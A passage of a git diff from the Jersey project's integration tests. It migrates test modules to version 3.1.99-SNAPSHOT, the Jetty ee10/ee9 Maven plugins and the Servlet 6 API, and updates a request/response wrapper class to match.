- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml
index c68d868..42bc611 100644
--- a/tests/integration/servlet-2.5-init-6/pom.xml
+++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-6</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml
index 4b50bd7..13613a9 100644
--- a/tests/integration/servlet-2.5-init-7/pom.xml
+++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-7</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml
index 2ad88bc..cb4d9ee 100644
--- a/tests/integration/servlet-2.5-init-8/pom.xml
+++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-8</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml
index 8193179..6382610 100644
--- a/tests/integration/servlet-2.5-mvc-1/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-mvc-1</artifactId>
@@ -57,7 +57,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -78,8 +77,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee9</groupId>
+ <artifactId>jetty-ee9-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml
index 88ee7f4..07b06ca 100644
--- a/tests/integration/servlet-2.5-mvc-2/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-mvc-2</artifactId>
@@ -57,7 +57,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -78,8 +77,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml
index 30a7831..cae94da 100644
--- a/tests/integration/servlet-2.5-mvc-3/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-mvc-3</artifactId>
@@ -57,7 +57,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -78,8 +77,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee9</groupId>
+ <artifactId>jetty-ee9-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml
index d19047d..642148d 100644
--- a/tests/integration/servlet-2.5-reload/pom.xml
+++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-reload</artifactId>
diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml
index c61d313..0b3ee52 100644
--- a/tests/integration/servlet-3-async/pom.xml
+++ b/tests/integration/servlet-3-async/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-async</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-chunked-io/pom.xml b/tests/integration/servlet-3-chunked-io/pom.xml
index eb2e704..cfa21a7 100644
--- a/tests/integration/servlet-3-chunked-io/pom.xml
+++ b/tests/integration/servlet-3-chunked-io/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-chunked-io</artifactId>
@@ -65,8 +65,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-filter/pom.xml b/tests/integration/servlet-3-filter/pom.xml
index e1e7d0f..e04749d 100644
--- a/tests/integration/servlet-3-filter/pom.xml
+++ b/tests/integration/servlet-3-filter/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-filter</artifactId>
@@ -61,8 +61,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-gf-async/pom.xml b/tests/integration/servlet-3-gf-async/pom.xml
index 351a4fd..3e9c6af 100644
--- a/tests/integration/servlet-3-gf-async/pom.xml
+++ b/tests/integration/servlet-3-gf-async/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-gf-async</artifactId>
diff --git a/tests/integration/servlet-3-inflector-1/pom.xml b/tests/integration/servlet-3-inflector-1/pom.xml
index ed0c95a..12aa2d7 100644
--- a/tests/integration/servlet-3-inflector-1/pom.xml
+++ b/tests/integration/servlet-3-inflector-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-inflector-1</artifactId>
@@ -43,7 +43,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -65,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-1/pom.xml b/tests/integration/servlet-3-init-1/pom.xml
index 0f67fa0..0b24cd3 100644
--- a/tests/integration/servlet-3-init-1/pom.xml
+++ b/tests/integration/servlet-3-init-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-1</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-2/pom.xml b/tests/integration/servlet-3-init-2/pom.xml
index e419e13..65b0d03 100644
--- a/tests/integration/servlet-3-init-2/pom.xml
+++ b/tests/integration/servlet-3-init-2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-2</artifactId>
@@ -64,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-3/pom.xml b/tests/integration/servlet-3-init-3/pom.xml
index 9a8b541..568b6c3 100644
--- a/tests/integration/servlet-3-init-3/pom.xml
+++ b/tests/integration/servlet-3-init-3/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-3</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-4/pom.xml b/tests/integration/servlet-3-init-4/pom.xml
index aa74996..78f2594 100644
--- a/tests/integration/servlet-3-init-4/pom.xml
+++ b/tests/integration/servlet-3-init-4/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-4</artifactId>
@@ -59,8 +59,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-5/pom.xml b/tests/integration/servlet-3-init-5/pom.xml
index 029f8e2..5b0b281 100644
--- a/tests/integration/servlet-3-init-5/pom.xml
+++ b/tests/integration/servlet-3-init-5/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-5</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-6/pom.xml b/tests/integration/servlet-3-init-6/pom.xml
index c18feab..75c357d 100644
--- a/tests/integration/servlet-3-init-6/pom.xml
+++ b/tests/integration/servlet-3-init-6/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-6</artifactId>
@@ -57,8 +57,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-7/pom.xml b/tests/integration/servlet-3-init-7/pom.xml
index 20cb7e2..611d6bd 100644
--- a/tests/integration/servlet-3-init-7/pom.xml
+++ b/tests/integration/servlet-3-init-7/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-7</artifactId>
@@ -58,8 +58,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-8/pom.xml b/tests/integration/servlet-3-init-8/pom.xml
index 3acf8bc..b980af4 100644
--- a/tests/integration/servlet-3-init-8/pom.xml
+++ b/tests/integration/servlet-3-init-8/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-8</artifactId>
@@ -58,8 +58,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-9/pom.xml b/tests/integration/servlet-3-init-9/pom.xml
index c31c844..461f2fe 100644
--- a/tests/integration/servlet-3-init-9/pom.xml
+++ b/tests/integration/servlet-3-init-9/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-9</artifactId>
@@ -42,7 +42,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -64,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-init-provider/pom.xml b/tests/integration/servlet-3-init-provider/pom.xml
index eed50db..6ca1c7f 100644
--- a/tests/integration/servlet-3-init-provider/pom.xml
+++ b/tests/integration/servlet-3-init-provider/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-init-provider</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -68,8 +67,8 @@
</configuration>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-params/pom.xml b/tests/integration/servlet-3-params/pom.xml
index d8983e0..436a0e5 100644
--- a/tests/integration/servlet-3-params/pom.xml
+++ b/tests/integration/servlet-3-params/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-params</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -62,8 +61,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-3-sse-1/pom.xml b/tests/integration/servlet-3-sse-1/pom.xml
index acd00bf..bde2e8b 100644
--- a/tests/integration/servlet-3-sse-1/pom.xml
+++ b/tests/integration/servlet-3-sse-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-3-sse-1</artifactId>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml
index d9111b1..54454bc 100644
--- a/tests/integration/servlet-4.0-mvc-1/pom.xml
+++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-4.0-mvc-1</artifactId>
@@ -49,7 +49,14 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
</dependency>
<dependency>
@@ -75,14 +82,13 @@
</configuration>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
- <!--TODO jakartify this -->
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<dependencies>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
</dependency>
</dependencies>
<configuration>
@@ -91,24 +97,4 @@
</plugin>
</plugins>
</build>
-
- <profiles>
- <profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>jakarta.xml.bind</groupId>
- <artifactId>jakarta.xml.bind-api</artifactId>
- </dependency>
- <dependency>
- <groupId>com.sun.xml.bind</groupId>
- <artifactId>jaxb-osgi</artifactId>
- </dependency>
- </dependencies>
- </profile>
- </profiles>
-
</project>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
index 5c0fe99..b845232 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-request-wrappper-binding-2</artifactId>
@@ -40,7 +40,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
@@ -68,8 +68,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
index 86017ec..e152f64 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
+++ b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
@@ -1,4 +1,5 @@
/*
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
* Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -39,6 +40,7 @@
import jakarta.servlet.AsyncContext;
import jakarta.servlet.DispatcherType;
import jakarta.servlet.RequestDispatcher;
+import jakarta.servlet.ServletConnection;
import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletInputStream;
@@ -291,16 +293,6 @@
}
@Override
- public String encodeUrl(String s) {
- return getHttpServletResponse().encodeUrl(s);
- }
-
- @Override
- public String encodeRedirectUrl(String s) {
- return getHttpServletResponse().encodeRedirectUrl(s);
- }
-
- @Override
public void sendError(int i, String s) throws IOException {
getHttpServletResponse().sendError(i, s);
}
@@ -330,14 +322,17 @@
getHttpServletResponse().setHeader(h, v);
}
+ @Override
public Collection<String> getHeaderNames() {
return getHttpServletResponse().getHeaderNames();
}
+ @Override
public Collection<String> getHeaders(String s) {
return getHttpServletResponse().getHeaders(s);
}
+ @Override
public String getHeader(String s) {
return getHttpServletResponse().getHeader(s);
}
@@ -368,11 +363,6 @@
}
@Override
- public void setStatus(int i, String s) {
- getHttpServletResponse().setStatus(i, s);
- }
-
- @Override
public String getCharacterEncoding() {
return getHttpServletResponse().getCharacterEncoding();
}
@@ -501,6 +491,22 @@
private abstract static class MyHttpServletRequestImpl implements HttpServletRequest {
@Override
+ public String getRequestId() {
+ return getHttpServletRequest().getRequestId();
+ }
+
+ @Override
+ public String getProtocolRequestId() {
+ return getHttpServletRequest().getProtocolRequestId();
+ }
+
+ @Override
+ public ServletConnection getServletConnection() {
+ return getHttpServletRequest().getServletConnection();
+ }
+
+
+ @Override
public String getAuthType() {
return getHttpServletRequest().getAuthType();
}
@@ -658,11 +664,6 @@
}
@Override
- public boolean isRequestedSessionIdFromUrl() {
- return getHttpServletRequest().isRequestedSessionIdFromUrl();
- }
-
- @Override
public Object getAttribute(String s) {
return getHttpServletRequest().getAttribute(s);
}
@@ -783,11 +784,6 @@
}
@Override
- public String getRealPath(String s) {
- return getHttpServletRequest().getRealPath(s);
- }
-
- @Override
public int getRemotePort() {
return getHttpServletRequest().getRemotePort();
}
diff --git a/tests/integration/servlet-request-wrapper-binding/pom.xml b/tests/integration/servlet-request-wrapper-binding/pom.xml
index 677d230..0b1f7ae 100644
--- a/tests/integration/servlet-request-wrapper-binding/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-request-wrappper-binding</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -68,8 +67,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml
index f86f48a..23a13f8 100644
--- a/tests/integration/servlet-tests/pom.xml
+++ b/tests/integration/servlet-tests/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-tests</artifactId>
@@ -36,7 +36,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
@@ -62,8 +62,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/sonar-test/pom.xml b/tests/integration/sonar-test/pom.xml
index fc6a804..48ccf0a 100644
--- a/tests/integration/sonar-test/pom.xml
+++ b/tests/integration/sonar-test/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>sonar-test</artifactId>
@@ -58,8 +58,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
